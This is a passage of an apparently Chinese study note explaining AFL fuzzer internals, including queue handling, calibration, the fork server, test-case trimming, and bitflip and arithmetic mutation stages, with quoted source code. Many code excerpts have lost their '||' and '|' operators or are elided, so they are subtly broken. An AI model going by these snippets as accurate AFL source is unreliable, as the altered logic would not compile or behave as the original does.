want to repeat deterministic fuzzing when resuming aborted scans, because it would be pointless and probably very time-consuming. */ if (!access(dfn, F_OK)) passed_det = 1; ck_free(dfn); add_to_queue(fn, st.st_size, passed_det); }\n\n\n首先获取输入样例的文件夹路径 in_dir\n扫描 in_dir,如果目录下文件的数量少于等于 0 则报错\n如果设置了 shuffle_queue 就打乱顺序\n遍历所有文件名,保存在 fn 中\n过滤掉 . 和 .. 这样的路径\n如果文件的大小超过了 MAX_FILE 则终止\nadd_to_queue\n\nadd_to_queuestatic void add_to_queue(u8* fname, u32 len, u8 passed_det) { struct queue_entry* q = ck_alloc(sizeof(struct queue_entry)); q->fname = fname; q->len = len; q->depth = cur_depth + 1; q->passed_det = passed_det; if (q->depth > max_depth) max_depth = q->depth; if (queue_top) { queue_top->next = q; queue_top = q; } else q_prev100 = queue = queue_top = q; queued_paths++; pending_not_fuzzed++; cycles_wo_finds = 0; /* Set next_100 pointer for every 100th element (index 0, 100, etc) to allow faster iteration. */ if ((queued_paths - 1) % 100 == 0 && queued_paths > 1) { q_prev100->next_100 = q; q_prev100 = q; } last_path_time = get_cur_time();}\n\nafl-fuzz 维护一个 queue_entry 的链表,该链表用来保存测试样例,每次调用 add_to_queue 都会将新样例储存到链表头部。\n另外还有一个 q_prev100 也是 queue_entry 的链表,但它每 100 个测试样例保存一次。\nload_auto尝试在输入目录下寻找自动生成的字典文件,调用 maybe_add_auto 将相应的字典加入到全局变量 a_extras 中,用于后续字典模式的变异当中。\npivot_inputs在输出文件夹中创建与输入样例间的硬链接,称之为 orignal 。\nload_extras如果指定了 -x 参数(字典模式),加载对应的字典到全局变量extras当中,用于后续字典模式的变异当中。\nfind_timeout如果指定了 resuming_fuzz ,即从输出目录当中恢复模糊测试状态,会从之前的模糊测试状态 fuzzer_stats 文件中计算中 timeout 值,保存在 exec_tmout 中。\ndetect_file_args检测输入的命令行中是否包含@@参数,如果包含的话需要将 @@ 替换成目录文件 "%s/.cur_input", out_dir ,使得模糊测试目标程序的命令完整;同时将目录文件 "%s/.cur_input" 路径保存在 out_file 当中,后续变异的内容保存在该文件路径中,用于运行测试目标文件。\nsetup_stdio_file如果目标程序的输入不是来源于文件而是来源于标准输入的话,则将目录文件 "%s/.cur_input" 文件打开保存在 out_fd 文件句柄中,后续将标准输入重定向到该文件中;结合 detect_file_args 函数实现了将变异的内容保存在 "%s/.cur_input" 文件中,运行目标测试文件并进行模糊测试。\ncheck_binary检查二进制文件是否合法。\nperform_dry_run将每个测试样例作为输入去运行目标程序,检查程序是否能够正常工作:\nstatic void perform_dry_run(char** argv) { struct queue_entry* q = queue; u32 cal_failures = 0; u8* skip_crashes = getenv("AFL_SKIP_CRASHES"); while (q) { u8* use_mem; u8 res; s32 fd; u8* fn = strrchr(q->fname, '/') + 1; ACTF("Attempting dry run with '%s'...", fn); fd = open(q->fname, O_RDONLY); if (fd < 0) PFATAL("Unable to open '%s'", q->fname); use_mem = ck_alloc_nozero(q->len); if (read(fd, use_mem, q->len) != q->len) FATAL("Short read from '%s'", q->fname); close(fd); res = calibrate_case(argv, q, use_mem, 0, 1); ck_free(use_mem); if (stop_soon) return; if (res == crash_mode res == FAULT_NOBITS) SAYF(cGRA " len = %u, map size = %u, exec speed = %llu us\\n" cRST, q->len, q->bitmap_size, q->exec_us); ...... if (q->var_behavior) WARNF("Instrumentation output varies across runs."); q = q->next; } if (cal_failures) { if (cal_failures == queued_paths) FATAL("All test cases time out%s, giving up!", skip_crashes ? " or crash" : ""); WARNF("Skipped %u test cases (%0.02f%%) due to timeouts%s.", cal_failures, ((double)cal_failures) * 100 / queued_paths, skip_crashes ? " or crashes" : ""); if (cal_failures * 5 > queued_paths) WARNF(cLRD "High percentage of rejected test cases, check settings!"); } OKF("All test cases processed.");}\n\n对每个测试样例使用 calibrate_case 进行测试,并返回运行结果,然后处理其中异常的情况,比如说程序崩溃或运行超时等。\ncalibrate_casestatic u8 calibrate_case(char** argv, struct queue_entry* q, u8* use_mem, u32 handicap, u8 from_queue) { static u8 first_trace[MAP_SIZE]; u8 fault = 0, new_bits = 0, var_detected = 0, hnb = 0, first_run = (q->exec_cksum == 0); u64 start_us, stop_us; s32 old_sc = stage_cur, old_sm = stage_max; u32 use_tmout = exec_tmout; u8* old_sn = stage_name; /* Be a bit more generous about timeouts when resuming sessions, or when trying to calibrate already-added finds. This helps avoid trouble due to intermittent latency. */ if (!from_queue resuming_fuzz) use_tmout = MAX(exec_tmout + CAL_TMOUT_ADD, exec_tmout * CAL_TMOUT_PERC / 100); q->cal_failed++; stage_name = "calibration"; stage_max = fast_cal ? 3 : CAL_CYCLES; /* Make sure the forkserver is up before we do anything, and let's not count its spin-up time toward binary calibration. */ if (dumb_mode != 1 && !no_forkserver && !forksrv_pid) init_forkserver(argv); if (q->exec_cksum) { memcpy(first_trace, trace_bits, MAP_SIZE); hnb = has_new_bits(virgin_bits); if (hnb > new_bits) new_bits = hnb; } start_us = get_cur_time_us(); for (stage_cur = 0; stage_cur < stage_max; stage_cur++) { u32 cksum; if (!first_run && !(stage_cur % stats_update_freq)) show_stats(); write_to_testcase(use_mem, q->len); fault = run_target(argv, use_tmout); /* stop_soon is set by the handler for Ctrl+C. When it's pressed, we want to bail out quickly. */ if (stop_soon fault != crash_mode) goto abort_calibration; if (!dumb_mode && !stage_cur && !count_bytes(trace_bits)) { fault = FAULT_NOINST; goto abort_calibration; } cksum = hash32(trace_bits, MAP_SIZE, HASH_CONST); if (q->exec_cksum != cksum) { hnb = has_new_bits(virgin_bits); if (hnb > new_bits) new_bits = hnb; if (q->exec_cksum) { u32 i; for (i = 0; i < MAP_SIZE; i++) { if (!var_bytes[i] && first_trace[i] != trace_bits[i]) { var_bytes[i] = 1; stage_max = CAL_CYCLES_LONG; } } var_detected = 1; } else { q->exec_cksum = cksum; memcpy(first_trace, trace_bits, MAP_SIZE); } } } stop_us = get_cur_time_us(); total_cal_us += stop_us - start_us; total_cal_cycles += stage_max; /* OK, let's collect some stats about the performance of this test case. This is used for fuzzing air time calculations in calculate_score(). */ q->exec_us = (stop_us - start_us) / stage_max; q->bitmap_size = count_bytes(trace_bits); q->handicap = handicap; q->cal_failed = 0; total_bitmap_size += q->bitmap_size; total_bitmap_entries++; update_bitmap_score(q); /* If this case didn't result in new output from the instrumentation, tell parent. This is a non-critical problem, but something to warn the user about. */ if (!dumb_mode && first_run && !fault && !new_bits) fault = FAULT_NOBITS;abort_calibration: if (new_bits == 2 && !q->has_new_cov) { q->has_new_cov = 1; queued_with_cov++; } /* Mark variable paths. */ if (var_detected) { var_byte_count = count_bytes(var_bytes); if (!q->var_behavior) { mark_as_variable(q); queued_variable++; } } stage_name = old_sn; stage_cur = old_sc; stage_max = old_sm; if (!first_run) show_stats(); return fault;}\n\n该函数用以对样例进行测试,在后续的测试过程中也会反复调用。此处,其主要的工作是:\n\n判断样例是否是首次运行,记录在 first_run\n设置超时阈值 use_tmout\n调用 init_forkserver 初始化 fork server\n多次运行测试样例,记录数据\n\ninit_forkserverfork server 是 AFL 中一个重要的机制。\nafl-fuzz 主动建立一个子进程为 fork server,而模糊测试则是通过 fork server 调用 fork 建立子进程来进行测试。\n\n参考在源代码注释中的这篇文章可以有更加深入的理解:https://lcamtuf.blogspot.com/2014/10/fuzzing-binaries-without-execve.html\n\n之所以需要设计它,笔者在这里给出一个比较概括的理由:\n一般来说,如果我们想要测试输入样例,就需要用 fork+execve 去执行相关的二进制程序,但是执行程序是需要加载代码、动态库、符号解析等各种耗时的行为,这会让 AFL 不够效率。\n但是这个过程其实是存在浪费的,可以注意到,如果我们要对相同的二进制程序进行多次不同的输入样本进行测试,那按照原本的操作,我们应该多次执行 fork+execve ,而浪费就出现在这,因为我们明明已经加载好了一切,却又要因此重复加载释放。\n因此 fork server 的设计主要就是为了解决这个浪费。它通过向代码中进行插桩的方式,使得在二进制程序中去建立一个 fork server(对,它实际上是由目标程序去建立的),然后这个 fork server 会在完成一切初始化后,停止在某一个地方(往往设定在 main 函数)等待 fuzzer 去喊开始执行。\n一旦 fuzzer 喊了开始,就会由这个 fork server 去调用 fork 然后往下执行。而我们知道,fork 由于写时复制的机制存在,它其实并没有过多的开销,可以完全继承原有的所有上下文信息,从而避开了多次 execve 的加载开销。\n摘抄一段这部分插桩的内容:\n__afl_forkserver: /* Phone home and tell the parent that we're OK. */ pushl $4 /* length */ pushl $__afl_temp /* data */ pushl $199 /* file desc */ call write addl $12, %esp__afl_fork_wait_loop: /* Wait for parent by reading from the pipe. This will block until the parent sends us something. Abort if read fails. */ pushl $4 /* length */ pushl $__afl_temp /* data */ pushl $198 /* file desc */ call read addl $12, %esp cmpl $4, %eax jne __afl_die /* Once woken up, create a clone of our process. */ call fork cmpl $0, %eax jl __afl_die je __afl_fork_resume /* In parent process: write PID to pipe, then wait for child. Parent will handle timeouts and SIGKILL the child as needed. */ movl %eax, __afl_fork_pid pushl $4 /* length */ pushl $__afl_fork_pid /* data */ pushl $199 /* file desc */ call write addl $12, %esp pushl $2 /* WUNTRACED */ pushl $__afl_temp /* status */ pushl __afl_fork_pid /* PID */ call waitpid addl $12, %esp cmpl $0, %eax jle __afl_die /* Relay wait status to pipe, then loop back. */ pushl $4 /* length */ pushl $__afl_temp /* data */ pushl $199 /* file desc */ call write addl $12, %esp jmp __afl_fork_wait_loop__afl_fork_resume: /* In child process: close fds, resume execution. */ pushl $198 call close pushl $199 call close addl $8, %esp ret\n\nfork server 主要是通过管道和 afl-fuzz 中的 fork server 进行通信的,但他们其实不做过多的事情,往往只是通知一下程序运行的状态。因为真正的反馈信息,包括路径的发现等这部分功能是通过共享内存去实现的,它们不需要用 fork server 这种效率较低的方案去记录数据。\n剩下的就是关闭一些不需要的文件或管道了,代码姑且贴在这里,以备未来有需要时可以现查:\nEXP_ST void init_forkserver(char** argv) { static struct itimerval it; int st_pipe[2], ctl_pipe[2]; int status; s32 rlen; ACTF("Spinning up the fork server..."); if (pipe(st_pipe) pipe(ctl_pipe)) PFATAL("pipe() failed"); forksrv_pid = fork(); if (forksrv_pid < 0) PFATAL("fork() failed"); if (!forksrv_pid) { struct rlimit r; /* Umpf. On OpenBSD, the default fd limit for root users is set to soft 128. Let's try to fix that... */ if (!getrlimit(RLIMIT_NOFILE, &r) && r.rlim_cur < FORKSRV_FD + 2) { r.rlim_cur = FORKSRV_FD + 2; setrlimit(RLIMIT_NOFILE, &r); /* Ignore errors */ } if (mem_limit) { r.rlim_max = r.rlim_cur = ((rlim_t)mem_limit) << 20;#ifdef RLIMIT_AS setrlimit(RLIMIT_AS, &r); /* Ignore errors */#else /* This takes care of OpenBSD, which doesn't have RLIMIT_AS, but according to reliable sources, RLIMIT_DATA covers anonymous maps - so we should be getting good protection against OOM bugs. */ setrlimit(RLIMIT_DATA, &r); /* Ignore errors */#endif /* ^RLIMIT_AS */ } /* Dumping cores is slow and can lead to anomalies if SIGKILL is delivered before the dump is complete. */ r.rlim_max = r.rlim_cur = 0; setrlimit(RLIMIT_CORE, &r); /* Ignore errors */ /* Isolate the process and configure standard descriptors. If out_file is specified, stdin is /dev/null; otherwise, out_fd is cloned instead. */ setsid(); dup2(dev_null_fd, 1); dup2(dev_null_fd, 2); if (out_file) { dup2(dev_null_fd, 0); } else { dup2(out_fd, 0); close(out_fd); } /* Set up control and status pipes, close the unneeded original fds. */ if (dup2(ctl_pipe[0], FORKSRV_FD) < 0) PFATAL("dup2() failed"); if (dup2(st_pipe[1], FORKSRV_FD + 1) < 0) PFATAL("dup2() failed"); close(ctl_pipe[0]); close(ctl_pipe[1]); close(st_pipe[0]); close(st_pipe[1]); close(out_dir_fd); close(dev_null_fd); close(dev_urandom_fd); close(fileno(plot_file)); /* This should improve performance a bit, since it stops the linker from doing extra work post-fork(). */ if (!getenv("LD_BIND_LAZY")) setenv("LD_BIND_NOW", "1", 0); /* Set sane defaults for ASAN if nothing else specified. */ setenv("ASAN_OPTIONS", "abort_on_error=1:" "detect_leaks=0:" "symbolize=0:" "allocator_may_return_null=1", 0); /* MSAN is tricky, because it doesn't support abort_on_error=1 at this point. So, we do this in a very hacky way. */ setenv("MSAN_OPTIONS", "exit_code=" STRINGIFY(MSAN_ERROR) ":" "symbolize=0:" "abort_on_error=1:" "allocator_may_return_null=1:" "msan_track_origins=0", 0); execv(target_path, argv); /* Use a distinctive bitmap signature to tell the parent about execv() falling through. */ *(u32*)trace_bits = EXEC_FAIL_SIG; exit(0); } /* Close the unneeded endpoints. */ close(ctl_pipe[0]); close(st_pipe[1]); fsrv_ctl_fd = ctl_pipe[1]; fsrv_st_fd = st_pipe[0]; /* Wait for the fork server to come up, but don't wait too long. */ it.it_value.tv_sec = ((exec_tmout * FORK_WAIT_MULT) / 1000); it.it_value.tv_usec = ((exec_tmout * FORK_WAIT_MULT) % 1000) * 1000; setitimer(ITIMER_REAL, &it, NULL); rlen = read(fsrv_st_fd, &status, 4); it.it_value.tv_sec = 0; it.it_value.tv_usec = 0; setitimer(ITIMER_REAL, &it, NULL); /* If we have a four-byte "hello" message from the server, we're all set. Otherwise, try to figure out what went wrong. */ if (rlen == 4) { OKF("All right - fork server is up."); return; } if (child_timed_out) FATAL("Timeout while initializing fork server (adjusting -t may help)"); if (waitpid(forksrv_pid, &status, 0) <= 0) PFATAL("waitpid() failed"); if (WIFSIGNALED(status)) { if (mem_limit && mem_limit < 500 && uses_asan) { SAYF("\\n" cLRD "[-] " cRST "Whoops, the target binary crashed suddenly, before receiving any input\\n" " from the fuzzer! Since it seems to be built with ASAN and you have a\\n" " restrictive memory limit configured, this is expected; please read\\n" " %s/notes_for_asan.txt for help.\\n", doc_path); } else if (!mem_limit) { SAYF("\\n" cLRD "[-] " cRST "Whoops, the target binary crashed suddenly, before receiving any input\\n" " from the fuzzer! There are several probable explanations:\\n\\n" " - The binary is just buggy and explodes entirely on its own. If so, you\\n" " need to fix the underlying problem or find a better replacement.\\n\\n"#ifdef __APPLE__ " - On MacOS X, the semantics of fork() syscalls are non-standard and may\\n" " break afl-fuzz performance optimizations when running platform-specific\\n" " targets. To fix this, set AFL_NO_FORKSRV=1 in the environment.\\n\\n"#endif /* __APPLE__ */ " - Less likely, there is a horrible bug in the fuzzer. If other options\\n" " fail, poke <lcamtuf@coredump.cx> for troubleshooting tips.\\n"); } else { SAYF("\\n" cLRD "[-] " cRST "Whoops, the target binary crashed suddenly, before receiving any input\\n" " from the fuzzer! There are several probable explanations:\\n\\n" " - The current memory limit (%s) is too restrictive, causing the\\n" " target to hit an OOM condition in the dynamic linker. Try bumping up\\n" " the limit with the -m setting in the command line. A simple way confirm\\n" " this diagnosis would be:\\n\\n"#ifdef RLIMIT_AS " ( ulimit -Sv $[%llu << 10]; /path/to/fuzzed_app )\\n\\n"#else " ( ulimit -Sd $[%llu << 10]; /path/to/fuzzed_app )\\n\\n"#endif /* ^RLIMIT_AS */ " Tip: you can use http://jwilk.net/software/recidivm to quickly\\n" " estimate the required amount of virtual memory for the binary.\\n\\n" " - The binary is just buggy and explodes entirely on its own. If so, you\\n" " need to fix the underlying problem or find a better replacement.\\n\\n"#ifdef __APPLE__ " - On MacOS X, the semantics of fork() syscalls are non-standard and may\\n" " break afl-fuzz performance optimizations when running platform-specific\\n" " targets. To fix this, set AFL_NO_FORKSRV=1 in the environment.\\n\\n"#endif /* __APPLE__ */ " - Less likely, there is a horrible bug in the fuzzer. If other options\\n" " fail, poke <lcamtuf@coredump.cx> for troubleshooting tips.\\n", DMS(mem_limit << 20), mem_limit - 1); } FATAL("Fork server crashed with signal %d", WTERMSIG(status)); } if (*(u32*)trace_bits == EXEC_FAIL_SIG) FATAL("Unable to execute target application ('%s')", argv[0]); if (mem_limit && mem_limit < 500 && uses_asan) { SAYF("\\n" cLRD "[-] " cRST "Hmm, looks like the target binary terminated before we could complete a\\n" " handshake with the injected code. Since it seems to be built with ASAN and\\n" " you have a restrictive memory limit configured, this is expected; please\\n" " read %s/notes_for_asan.txt for help.\\n", doc_path); } else if (!mem_limit) { SAYF("\\n" cLRD "[-] " cRST "Hmm, looks like the target binary terminated before we could complete a\\n" " handshake with the injected code. Perhaps there is a horrible bug in the\\n" " fuzzer. Poke <lcamtuf@coredump.cx> for troubleshooting tips.\\n"); } else { SAYF("\\n" cLRD "[-] " cRST "Hmm, looks like the target binary terminated before we could complete a\\n" " handshake with the injected code. There are %s probable explanations:\\n\\n" "%s" " - The current memory limit (%s) is too restrictive, causing an OOM\\n" " fault in the dynamic linker. This can be fixed with the -m option. A\\n" " simple way to confirm the diagnosis may be:\\n\\n"#ifdef RLIMIT_AS " ( ulimit -Sv $[%llu << 10]; /path/to/fuzzed_app )\\n\\n"#else " ( ulimit -Sd $[%llu << 10]; /path/to/fuzzed_app )\\n\\n"#endif /* ^RLIMIT_AS */ " Tip: you can use http://jwilk.net/software/recidivm to quickly\\n" " estimate the required amount of virtual memory for the binary.\\n\\n" " - Less likely, there is a horrible bug in the fuzzer. If other options\\n" " fail, poke <lcamtuf@coredump.cx> for troubleshooting tips.\\n", getenv(DEFER_ENV_VAR) ? "three" : "two", getenv(DEFER_ENV_VAR) ? " - You are using deferred forkserver, but __AFL_INIT() is never\\n" " reached before the program terminates.\\n\\n" : "", DMS(mem_limit << 20), mem_limit - 1); } FATAL("Fork server handshake failed");}\n\ncull_queue将运行过的种子根据运行的效果进行排序,后续模糊测试根据排序的结果来挑选样例进行模糊测试。\nshow_init_stats初始化 UI 。\nfind_start_position如果是恢复运行,则调用该函数来寻找到对应的样例的位置。\nwrite_stats_file更新统计信息文件以进行无人值守的监视。\nsave_auto保存自动提取的 token ,用于后续字典模式的 fuzz 。\nafl-fuzz 主循环\n首先调用 cull_queue 来优化队列\n如果 queue_cur 为空,代表所有queue都被执行完一轮\n设置queue_cycle计数器加一,即代表所有queue被完整执行了多少轮。\n设置current_entry为0,和queue_cur为queue首元素,开始新一轮fuzz。\n如果是resume fuzz情况,则先检查seek_to是否为空,如果不为空,就从seek_to指定的queue项开始执行。\n刷新展示界面show_stats\n如果在一轮执行之后的queue里的case数,和执行之前一样,代表在完整的一轮执行里都没有发现任何一个新的case\n如果use_splicing为1,就设置cycles_wo_finds计数器加1\n否则,设置use_splicing为1,代表我们接下来要通过splice重组queue里的case。\n\n\n\n\n执行skipped_fuzz = fuzz_one(use_argv)来对queue_cur进行一次测试\n注意fuzz_one并不一定真的执行当前queue_cur,它是有一定策略的,如果不执行,就直接返回1,否则返回0\n\n\n如果skipped_fuzz为0,且存在sync_id\nsync_interval_cnt计数器加一,如果其结果是SYNC_INTERVAL(默认是5)的倍数,就进行一次sync\n\n\nqueue_cur = queue_cur->next;current_entry++;,开始测试下一个queue\n\nwhile (1) { u8 skipped_fuzz; cull_queue(); if (!queue_cur) { queue_cycle++; current_entry = 0; cur_skipped_paths = 0; queue_cur = queue; while (seek_to) { current_entry++; seek_to--; queue_cur = queue_cur->next; } show_stats(); if (not_on_tty) { ACTF("Entering queue cycle %llu.", queue_cycle); fflush(stdout); } /* If we had a full queue cycle with no new finds, try recombination strategies next. */ if (queued_paths == prev_queued) { if (use_splicing) cycles_wo_finds++; else use_splicing = 1; } else cycles_wo_finds = 0; prev_queued = queued_paths; if (sync_id && queue_cycle == 1 && getenv("AFL_IMPORT_FIRST")) sync_fuzzers(use_argv); } skipped_fuzz = fuzz_one(use_argv); if (!stop_soon && sync_id && !skipped_fuzz) { if (!(sync_interval_cnt++ % SYNC_INTERVAL)) sync_fuzzers(use_argv); } if (!stop_soon && exit_1) stop_soon = 2; if (stop_soon) break; queue_cur = queue_cur->next; current_entry++;}\n\nfuzz_one从测试样例的队列中取出 current_entry 进行测试,成功则返回 0 ,否则返回 1。这里主要是对该函数主要内容进行记录,不做细节的代码分析。\n\n打开 queue_cur 并映射到 orig_in 和 in_buf\n分配len大小的内存,并初始化为全 0,然后将地址赋值给 out_buf\n\nCALIBRATION 阶段\n若 queue_cur->cal_failed < CAL_CHANCES 且 queue_cur->cal_failed >0 ,则调用 calibrate_case\n\nTRIMMING 阶段\n如果样例没经过该阶段,那么就调用 trim_case 修剪样例\n将修剪后的结果重新放入 out_buf\n\n缩减的思路是这样的:如果对一个样本进行缩减后,它所覆盖的路径并未发生变化,那么就说明缩减的这部分内容是可有可无的,因此可以删除。\n具体策略如下:\n\n如果这个case的大小len小于5字节,就直接返回\n设定 stage_name 为 tmp ,该变量仅用来标识本次缩减所使用的策略\n计算 len_p2 ,其值是大于等于 q->len 的第一个2的幂次。\n取 len_p2/16 为 remove_len 作为起始步长。\n进入循环,终止条件为 remove_len 小于终止步长 len_p2/1024 , 每轮循环步长会除2。\n初始化一些必要数据后,再次进入循环,这次是按照当前设定的步长对样本进行遍历\n用 run_target 运行样例,trim_execs 计数器加一\n对比路径是否变化\n若无变化\n则从 q->len 中减去 remove_len 个字节,并由此重新计算出一个 len_p2 ,这里注意一下while (remove_len >= MAX(len_p2 / TRIM_END_STEPS, TRIM_MIN_BYTES))\n将 in_buf+remove_pos+remove_len 到最后的字节,前移到 in_buf+remove_pos 处,等于删除了 remove_pos 向后的 remove_len 个字节。\n如果 needs_write 为 0,则设置其为 1,并保存当前 trace_bits 到 clean_trace 中。\n\n\n如有变化\nremove_pos 加上 remove_len\n\n\n\n\n\n\n如果needs_write为1\n删除原来的 q->fname ,创建一个新的 q->fname ,将 in_buf 里的内容写入,然后用 clean_trace 恢复 trace_bits 的值。\n进行一次 update_bitmap_score\n\n\n\nstatic u8 trim_case(char** argv, struct queue_entry* q, u8* in_buf) { static u8 tmp[64]; static u8 clean_trace[MAP_SIZE]; u8 needs_write = 0, fault = 0; u32 trim_exec = 0; u32 remove_len; u32 len_p2; /* Although the trimmer will be less useful when variable behavior is detected, it will still work to some extent, so we don't check for this. */ if (q->len < 5) return 0; stage_name = tmp; bytes_trim_in += q->len; /* Select initial chunk len, starting with large steps. */ len_p2 = next_p2(q->len); remove_len = MAX(len_p2 / TRIM_START_STEPS, TRIM_MIN_BYTES); /* Continue until the number of steps gets too high or the stepover gets too small. */ while (remove_len >= MAX(len_p2 / TRIM_END_STEPS, TRIM_MIN_BYTES)) { u32 remove_pos = remove_len; sprintf(tmp, "trim %s/%s", DI(remove_len), DI(remove_len)); stage_cur = 0; stage_max = q->len / remove_len; while (remove_pos < q->len) { u32 trim_avail = MIN(remove_len, q->len - remove_pos); u32 cksum; write_with_gap(in_buf, q->len, remove_pos, trim_avail); fault = run_target(argv, exec_tmout); trim_execs++; if (stop_soon fault == FAULT_ERROR) goto abort_trimming; /* Note that we don't keep track of crashes or hangs here; maybe TODO? */ cksum = hash32(trace_bits, MAP_SIZE, HASH_CONST); /* If the deletion had no impact on the trace, make it permanent. This isn't perfect for variable-path inputs, but we're just making a best-effort pass, so it's not a big deal if we end up with false negatives every now and then. */ if (cksum == q->exec_cksum) { u32 move_tail = q->len - remove_pos - trim_avail; q->len -= trim_avail; len_p2 = next_p2(q->len); memmove(in_buf + remove_pos, in_buf + remove_pos + trim_avail, move_tail); /* Let's save a clean trace, which will be needed by update_bitmap_score once we're done with the trimming stuff. */ if (!needs_write) { needs_write = 1; memcpy(clean_trace, trace_bits, MAP_SIZE); } } else remove_pos += remove_len; /* Since this can be slow, update the screen every now and then. */ if (!(trim_exec++ % stats_update_freq)) show_stats(); stage_cur++; } remove_len >>= 1; } /* If we have made changes to in_buf, we also need to update the on-disk version of the test case. */ if (needs_write) { s32 fd; unlink(q->fname); /* ignore errors */ fd = open(q->fname, O_WRONLY O_CREAT O_EXCL, 0600); if (fd < 0) PFATAL("Unable to create '%s'", q->fname); ck_write(fd, in_buf, q->len, q->fname); close(fd); memcpy(trace_bits, clean_trace, MAP_SIZE); update_bitmap_score(q); }abort_trimming: bytes_trim_out += q->len; return fault;}\n\nPERFORMANCE SCORE 阶段\nperf_score = calculate_score(queue_cur)\n如果 skip_deterministic 为1,或者 queue_cur 被 fuzz 过,或者 queue_cur 的 passed_det 为1,则跳转去 havoc_stage 阶段\n设置doing_det为 1\n\nSIMPLE BITFLIP 阶段这个阶段读起来感觉比较抽象。首先定义了这么一个宏:\n#define FLIP_BIT(_ar, _b) do { \\ u8* _arf = (u8*)(_ar); \\ u32 _bf = (_b); \\ _arf[(_bf) >> 3] ^= (128 >> ((_bf) & 7)); \\ } while (0)\n\n这个宏的操作是对一个 bit 进行反转。\n而接下来首先有一个循环:\nstage_short = "flip1";stage_max = len << 3;stage_name = "bitflip 1/1";stage_val_type = STAGE_VAL_NONE;orig_hit_cnt = queued_paths + unique_crashes;prev_cksum = queue_cur->exec_cksum;for (stage_cur = 0; stage_cur < stage_max; stage_cur++) { stage_cur_byte = stage_cur >> 3; FLIP_BIT(out_buf, stage_cur); if (common_fuzz_stuff(argv, out_buf, len)) goto abandon_entry; FLIP_BIT(out_buf, stage_cur); ......\n\nstage_max 是输入的总 bit 数,然后分别对每个 bit 进行翻转后用 common_fuzz_stuff 进行测试,然后再将其翻转回来。\n而如果对某个字节的最后一个 bit 翻转后测试,发现路径并未增加,就能够将其认为是一个 token 。\n\ntoken默认最小是3,最大是32,每次发现新token时,通过maybe_add_auto添加到a_extras数组里。\nstage_finds[STAGE_FLIP1]的值加上在整个FLIP_BIT中新发现的路径和Crash总和\nstage_cycles[STAGE_FLIP1]的值加上在整个FLIP_BIT中执行的target次数stage_max\n设置stage_name为bitflip 2/1,原理和之前一样,只是这次是连续翻转相邻的两位。\n\n然后在后面的一个循环中又做类似的事,但每次会翻转两个 bit:\nstage_name = "bitflip 2/1";stage_short = "flip2";stage_max = (len << 3) - 1;orig_hit_cnt = new_hit_cnt;for (stage_cur = 0; stage_cur < stage_max; stage_cur++) { stage_cur_byte = stage_cur >> 3; FLIP_BIT(out_buf, stage_cur); FLIP_BIT(out_buf, stage_cur + 1); if (common_fuzz_stuff(argv, out_buf, len)) goto abandon_entry; FLIP_BIT(out_buf, stage_cur); FLIP_BIT(out_buf, stage_cur + 1);}\n\n\n然后保存结果到stage_finds[STAGE_FLIP2]和stage_cycles[STAGE_FLIP2]里。\n同理,设置stage_name为bitflip 4/1,翻转连续的四位并记录。\n构建 Effector map\n进入 bitflip 8/8 的阶段,这个阶段就是对每个字节的所有 bit 都进行翻转,然后用 common_fuzz_stuff 进行测试\n如果其造成执行路径与原始路径不一致,就将该byte在 effector map 中标记为1,即“有效”的,否则标记为 0,即“无效”的。\n这样做的逻辑是:如果一个byte完全翻转,都无法带来执行路径的变化,那么这个byte很有可能是属于”data”,而非”metadata”(例如size, flag等),对整个fuzzing的意义不大。所以,在随后的一些变异中,会参考effector map,跳过那些“无效”的byte,从而节省了执行资源。\n\n\n\n然后进入 bitflip 16/8 部分,按对每两个字节进行一次翻转然后测试:\nfor (i = 0; i < len - 1; i++) { /* Let's consult the effector map... */ if (!eff_map[EFF_APOS(i)] && !eff_map[EFF_APOS(i + 1)]) { stage_max--; continue; } stage_cur_byte = i; *(u16*)(out_buf + i) ^= 0xFFFF; if (common_fuzz_stuff(argv, out_buf, len)) goto abandon_entry; stage_cur++; *(u16*)(out_buf + i) ^= 0xFFFF;}\n\n\n这里要注意在翻转之前会先检查eff_map里对应于这两个字节的标志是否为0,如果为0,则这两个字节是无效的数据,stage_max减一,然后开始变异下一个字。\ncommon_fuzz_stuff执行变异后的结果,然后还原。\n\n最后是 bitflip 32/8 阶段,每 4 个字节进行翻转然后测试:\nstage_name = "bitflip 32/8";stage_short = "flip32";stage_cur = 0;stage_max = len - 3;orig_hit_cnt = new_hit_cnt;for (i = 0; i < len - 3; i++) { /* Let's consult the effector map... */ if (!eff_map[EFF_APOS(i)] && !eff_map[EFF_APOS(i + 1)] && !eff_map[EFF_APOS(i + 2)] && !eff_map[EFF_APOS(i + 3)]) { stage_max--; continue; } stage_cur_byte = i; *(u32*)(out_buf + i) ^= 0xFFFFFFFF; if (common_fuzz_stuff(argv, out_buf, len)) goto abandon_entry; stage_cur++; *(u32*)(out_buf + i) ^= 0xFFFFFFFF;}\n\n\n在每次翻转之前会检查eff_map里对应于这四个字节的标志是否为0,如果是0,则这两个字节是无效的数据,stage_max减一,然后开始变异下一组双字。\n\nARITHMETIC INC/DEC 阶段\narith 8/8,每次对8个bit进行加减运算,按照每8个 bit 的步长从头开始,即对文件的每个 byte 进行整数加减变异\narith 16/8,每次对16个bit进行加减运算,按照每8个bit的步长从头开始,即对文件的每个word进行整数加减变异\narith 32/8,每次对32个bit进行加减运算,按照每8个bit的步长从头开始,即对文件的每个dword进行整数加减变异\n加减变异的上限,在 config.h 中的宏 ARITH_MAX 定义,默认为 35。所以,对目标整数会进行+1, +2, …, +35, -1, -2, …, -35 的变异。特别地,由于整数存在大端序和小端序两种表示方式,AFL会贴心地对这两种整数表示方式都进行变异。\n此外,AFL 还会智能地跳过某些 arithmetic 变异。第一种情况就是前面提到的 effector map :如果一个整数的所有 bytes 都被判断为“无效”,那么就跳过对整数的变异。第二种情况是之前 bitflip 已经生成过的变异:如果加/减某个数后,其效果与之前的某种bitflip相同,那么这次变异肯定在上一个阶段已经执行过了,此次便不会再执行。\n\n此处展示 arith 8/8 部分代码:\nstage_name = "arith 8/8";stage_short = "arith8";stage_cur = 0;stage_max = 2 * len * ARITH_MAX;stage_val_type = STAGE_VAL_LE;orig_hit_cnt = new_hit_cnt;for (i = 0; i < len; i++) { u8 orig = out_buf[i]; /* Let's consult the effector map... */ if (!eff_map[EFF_APOS(i)]) { stage_max -= 2 * ARITH_MAX; continue; } stage_cur_byte = i; for (j = 1; j <= ARITH_MAX; j++) { u8 r = orig ^ (orig + j); /* Do arithmetic operations only if the result couldn't be a product of a bitflip. */ if (!could_be_bitflip(r)) { stage_cur_val = j; out_buf[i] = orig + j; if (common_fuzz_stuff(argv, out_buf, len)) goto abandon_entry; stage_cur++; } else stage_max--; r = 